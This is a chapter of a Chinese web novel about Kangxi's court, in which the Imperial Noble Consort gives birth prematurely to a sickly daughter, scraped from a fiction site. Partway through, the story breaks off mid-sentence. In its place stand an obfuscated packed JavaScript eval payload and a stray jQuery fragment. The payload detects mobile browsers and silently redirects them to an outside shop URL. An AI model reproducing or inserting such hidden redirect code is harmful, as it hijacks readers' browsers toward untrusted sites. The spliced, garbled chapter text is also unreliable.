文趣网 > 其他小说 > 康熙宠妃心声直播中(清穿) > 46. 皇贵妃生产
    皇贵妃生产这样的事,对现在并没有皇后的清宫而言,已经是堪比皇后生子一样的重要了。

    所以当康熙到了承乾宫后,不少嫔妃早已站在院中等着,还有一些离得远的小嫔妃们正急急忙忙的过来。

    谁承想一进院子先看到的就是这位大爷站在院中,吓得浑身战战,有几个竟然连行礼都忘了。

    成贵人也来的晚了些,但她脑筋转的略快,立刻反应过来赶忙行礼后退居到一处,和她一同来的另一个小答应不知道想到什么,脸上带着几分羞涩,轻点莲步的挪到康熙面前:“奴婢给皇上请安~”

    娇滴滴的语调刚吐出来,媚眼还没抛完,就被梁九功带来的小太监按住。

    “皇……皇上?”她瞪大着双眼不可置信的看了眼梁九功,又将视线投向康熙。

    康熙连眼神都没抛给她,直接示意梁九功将人拉下去,才皱眉看向满院子里的妃嫔:“你们凑什么热闹,回自己宫去!”

    小嫔妃们早已被梁九功刚刚的动作吓得不敢吭声,此时听到康熙这样说,更是连连行礼乖顺退下。

    走出承乾宫后,她们才捂着胸口大喘了一口气。

    成贵人是偏后走的,她小心回望了一眼康熙,又扫了眼离开的妃嫔,发现并没有她想看到的那个人,眼眸不由微微一暗。

    僖嫔走在最后,她虽是嫔位,却并非一宫主位,这种情况下自然也随着其他妃嫔们离开了。

    只是与其他安静离开的妃嫔不同,她出了承乾宫后跺了跺脚,拉着端嫔就开始絮叨:“说的好像咱们想来的一样,这天正热着,又是皇贵妃生产,谁敢不来候着!”

    端嫔张了张嘴,有些震惊地扫了她一眼,下意识就想挣开她的手,却没想僖嫔实在有力气,竟把她的臂膀压得死死的。

    端嫔不可置信地低头看了看手臂,又抬头看了看僖嫔,许久后,直到僖嫔疑问的看向她后,她才说道:“四妃皆在,贵妃娘娘和太皇太后也在。”

    头一次见端嫔说那么多的话,僖嫔眼睛一亮,瞬间觉得自己和端嫔成了好友:“今日正好有空,不如你去我那边?我跟你讲啊,我现在跟着襄嫔那边的法子,做了好多好看的首饰还有毛毡画,我都送你?你有去做吗?我教你吧?你喜欢做什么?”

    端嫔没想到自己不过是想摆脱这一声应答,却引来了对方的邀请,她下意识就要开口拒绝,可僖嫔的话实在密实,她几次张嘴都没插进去话,就这样被僖嫔连拉硬拽地去了自己那边。

    康熙进了内室,看到了德妃宜妃都挺了个肚子眼眸微微一软:“你们身体都重了,这边不用你们操心,都回去吧。”

    宜妃和德妃相视看了眼,才起身行礼后相携离开。

    孝庄看了眼康熙,又看了眼离开的众人,才开口问道:“襄嫔没让她过来吧?”

    康熙轻笑着回道:“她想来,孙儿拦下了。”

    “嗯,她也显怀了,性子又娇弱,不必在此,免得受了惊吓。”孝庄含笑点了点头,眼眸有意无意地扫过一旁的惠荣两妃还有贵妃钮祜禄氏。

    惠妃和荣妃脸都没变,只笑着颔首赞同,她们心知这是太皇太后为襄嫔不来补漏呢,以防后宫有些不该传的话。

    她们早过了争宠的日子,如今更是坐到了凭她们身份能够做到的位置极限,对齐满月与其说争宠,不如说更想交好,毕竟以她们的眼光看来,对方或许会走的比她们更高更远。

    钮祜禄氏倒是不同以往那般强势蛮横,反倒是端着茶盏垂眸似在出神。

    康熙抬眼间看她这副模样一时间有些恍惚,对方这幅姿态,这样的面容可太像他早逝的第二任皇后钮祜禄氏了。

    也是这时,他明白过来为什么在齐满月所经历的历史上,他会对贵妃有那样特殊的情愫,恐怕其中也有移情的作用在,尤其是自己失去了三位妻子的情况下。

    贵妃自然察觉了这祖孙二人的视线,她不在意的盯着茶盏上的花儿,心中却冷笑着只觉得一切好生荒谬。

    家族将姐姐送上后位,正野心勃勃时姐姐早逝,于是赶忙将自己送进宫,只盼着和姐姐长相相似的自己能得皇上宠爱。

    她何等憎恶这样的算计,何等心疼为了家族算计丧命的姐姐,何等厌恶那高高在上的帝王,只是她什么也不能做。

    还是无意中一个宫人的话点醒了她,男人都是喜欢柔顺乖巧的,她就偏要蛮横,可一般的蛮横帝王是不会在意的,那她就干涉朝政,果然最后落得帝王厌恶。

    可同样的,她亦是被家族不断威胁,又被母亲进宫哭诉多次后,才想着不行就干脆生个阿哥算了,生完了就送到太皇太后那边养,看钮祜禄氏谁敢算计。

    但偏巧齐佳氏入宫,更巧的是对方一入宫就得盛宠,虽然有几次看似被冷落,可她身为贵妃自有人脉去查个一二,尤其是这段时间,对方堪称独宠了。

    也因此,她放下心来,开始慢慢恢复自己本身的性格,她甚至非常喜欢齐满月,对方不仅长得好看、性格也好,头脑还聪明,甚至想着有个机会和对方结交。

    所以此时太皇太后的警惕她丝毫不在意,但康熙的恍惚她可就在意了。

    想到这里,贵妃脸上露出一抹嫌弃的眼神,随后将自己手中的茶盏往桌子上轻轻一放。

    果然如她所想,康熙眼眸中那抹怀念瞬间消散,视线再次投向孝庄:“额涅玛玛不如去休息下,皇贵妃是头胎,时间怕是还有的等。”

    孝庄年纪上来了,此时自然不像早年守着赫舍里生产一样熬夜,更别说她本就不想给皇贵妃这样的体面,只是看在胤禛份儿上,此时听到康熙这样劝说,自然是笑着应下,被众人送着出了门。

    若是按照过去,她必然要等着,至少在慈宁宫等着,以便和康熙商议佟佳氏若是生个健康男孩该如何平稳朝堂。

    可自从齐满月的心声出现后,她从对方心声中知道了佟佳氏会生个活不久的女儿,更知道对方也活不了几年,此时自然不再担忧。

    康熙坐在位置上,听着里面偶尔传出的些许杂乱的声音,心绪也有些越来越乱,脑海里也想到了之前胤禛找他商议的事情。

    “汗阿玛,儿子……”胤禛尚且年幼,在他看来,母亲可能因为孩子早逝这件事情,远比自己可能被君父厌恶更重要。

    康熙听着他稚嫩的打算,那和他最初不谋而合的想法,让他并没有对这个历史上接任自己的儿子产生丝毫恶感,反而有些欣慰于对方和佟佳氏的感情,但也有些警惕在此油然而生。

    一个亲近佟佳氏的阿哥,还是可能接任他的继承人,可不适合再次亲近佟佳一族了……

    压下心中那份属于帝王本能的警惕,康熙叹了口气看着胤禛:“你佟佳妃母极为疼爱这个孩子,如果用手段拿掉这个孩子或许对她伤害更大。”

    胤禛听着他的话呆愣了许久,那早已在心中盘算许久的想法在这一刻崩塌,从未想过的角度充斥了他的小脑袋。

    因为爱所以恐惧与伤害,因为爱所以不敢去伤害。

    这不仅是胤禛的想法,也是康熙的想法,他恐惧于自己的一念会让表妹更早离世,也恐惧于万一对方得知憎恨自己……

    当时

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17629951|204029||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    的想法在此刻却开始有些动摇,这本该在六月出生的孩子提前了一个月诞生,历史真的能够改变吗?

    他完全没有把握,即便他早早地让皇贵妃不再操心宫务,早早的安排御医每日请平安脉,早早安排医女们守在承乾宫。

    可孩子的早出生却像是在他之前还有些自信的脸上狠狠扇了一巴掌。

    “之前算的产期不在今日,太医可说了什么原因?”他皱了皱眉,扫向惠妃和荣妃,倒不是怀疑她们,只是她们如今管理宫务,这事算起来也算是她们管理不善。

    惠妃行礼后,才不慌不忙解释道:“臣妾早就问过御医了,倒不是受了惊或是怎么了,应该就是孩子等不及出世了。”

    荣妃眼眸微微一暗,转瞬消失后才说道:“想来是孩子迫不及待想看额娘和阿玛了。”

    听她二人这么一说,康熙才松了口气,固然表妹身体称不上十分健壮,却也可以称得上康健,这些时日御医也不曾有个坏消息,这个孩子也未尝不能救下……

    皇贵妃这次生产确实用了许久的时间,直到天已经黑了,星辰都布满了天空,里间才传来一声婴啼。

    听着这个实在称不上嘹亮的哭声,荣妃和惠妃脸色皆是一变。

    她二人何止生过一个,又何尝没失去过,身为后妃又见过多少次孩童的诞生,这样的哭声可实在称不上康健……

    不要说她们的脸色大变,连康熙脸上都凝重了几分。

    他也不是没经过丧子之痛,自然也明白一个健康的孩子该是怎样的表现。

    果然没多久,刚出生的皇八女就被宫人抱了出来。

    看着小小的婴孩儿被裹在厚实的襁褓中,康熙眼眶微微有些发热,这个他和表妹今生唯一的孩子,他实在无法说出能够养大的许诺。

    “御医!”他颤着手,指尖却在即将碰到孩子脸颊时猛地收回,对外怒吼了一声。

    惠妃和荣妃赶忙下跪,连抱着孩子的宫人都被吓得浑身发颤,可即便这样,那个娇小到仿佛只有他一只手那么大的孩子竟然丝毫未动。

    承乾宫的混乱结束于康熙差点摔倒的身影中,他摆了摆手让人将孩子抱下去,又细细叮嘱暂时先不要告诉皇贵妃,才有些踉跄地坐上御辇。

    看着他的背影,荣妃有些苦笑着摇了摇头:“到底是不同的情分,咱们的孩子可不曾这样被……”

    她话没说完就被惠妃握着她的手的动作打断:“当时皇上也很难过的,只是他是皇帝有些时候难过是不能给人看的。”

    说罢她回看了眼内室,又看了看永寿宫的方向:“皇上和皇贵妃是亲表兄妹情分自然不同,只盼着宫里的喜讯是一波接一波的……”

    她的话说得隐晦,□□妃却能明白,也随着她的视线看向永寿宫,随后压低着声音:“那边你我盯紧些,多顾着些,若再出了事端,怕是咱们在皇上跟前的情分也没了,到底是不一样的。”

    “我省的。”惠妃轻轻拍了她的手。

    康熙坐在御辇上看着虚空,那原本因为自己成功改变历史,拯救了戴梓和黄履庄,发明了更强大的火器,做出了利民的牛痘,纵然他受制于系统,却也偶尔得意于自己算是被天选中。

    可偏偏今日的事情,在他那得意的,傲慢的情绪上泼下一桶冰水,直冰的他仿佛看不到前路一样恐惧。

    途径永寿宫时,他突然叫停了御辇:“去永寿宫。”

    梁九功不懂康熙怎么会突然改变主意去永寿宫,却也习惯了康熙没事儿就找襄嫔的行为,此时更是直接带着宫人转了方向直奔永寿宫而去。